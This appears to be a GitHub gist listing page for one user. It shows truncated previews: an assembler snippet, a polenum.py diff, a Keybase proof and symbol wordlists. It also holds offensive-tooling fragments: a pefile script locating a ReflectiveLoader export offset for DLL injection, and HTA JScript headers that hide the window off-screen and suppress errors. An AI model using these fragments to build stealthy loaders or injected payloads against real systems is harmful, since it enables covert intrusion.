Skip to content

Instantly share code, notes, and snippets.

@TheNaterz
TheNaterz / gist:3953985
Created October 25, 2012 16:51
End .asm file with infinite loop
# Checking if the command type is a label in my driver loop
end_condition = true
if index != instruction_array.length-1
end_condition = false
end
code_writer.write_label(end_condition, arg_1)
# At the end of my driver loop
# If the last instruction isn't a label, an infinite loop is still made
if index == instruction_array.length-1 && command_type != :C_LABEL
--- polenum-0.2/polenum.py 2017-01-05 14:13:53.305343243 -0700
+++ /home/thenaterz/Downloads/polenum-0.2/polenum.py 2008-08-22 07:44:38.000000000 -0600
@@ -101,11 +101,11 @@
if hours > 1:
time += str(hours) + " hours "
elif hours == 1:
- time = str(hours) + " hour "
+ time = str(days) + " hour "
if minutes > 1:
time += str(minutes) + " minutes"
--- /home/thenaterz/Downloads/polenum-0.2/polenum.py 2008-08-22 07:44:38.000000000 -0600
+++ polenum-0.2/polenum.py 2017-01-05 14:13:53.305343243 -0700
@@ -101,11 +101,11 @@
if hours > 1:
time += str(hours) + " hours "
elif hours == 1:
- time = str(days) + " hour "
+ time = str(hours) + " hour "
if minutes > 1:
time += str(minutes) + " minutes"

Keybase proof

I hereby claim:

  • I am thenaterz on github.
  • I am thenaterz (https://keybase.io/thenaterz) on keybase.
  • I have a public key ASBAEdFBWkry7w9wjr6FBxl_oNscgjXOnQLFLVwGex832Ao

To claim this, I am signing this object:

This file has been truncated, but you can view the full file.
^` ^`
^` ]
^` $.
^`}
^`
^^
^^^%^$^#^@^!
^^ ^^
^^ ^_ ^^
^^ $^
import sys
import pefile
f = sys.argv[1]
pe = pefile.PE(f)
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if b'Reflective' in exp.name:
print(pe.get_offset_from_rva(exp.address))
break
This file has been truncated, but you can view the full file.
:
@
@,
[
[ [
[ [ [
[ [ [ [
[ [ [ [ [
[ ]
[ ^-
This file has been truncated, but you can view the full file.
^`
^` ^`
^` ]
^` $`
^` $.
^` $'
^`}
^^
^^^%^$^#^@^!
^^ ^^
<html>
<head>
<script language="JScript">
window.moveTo(-1337, -2019);
window.blur();
window.resizeTo(2, 4);
try
{
window.onerror = function(sMsg, sUrl, sLine) { return false; }
<html>
<head>
<script language="JScript">
window.moveTo(-1337, -2019);
window.blur();
window.resizeTo(2, 4);
try
{
window.onerror = function(sMsg, sUrl, sLine) { return false; }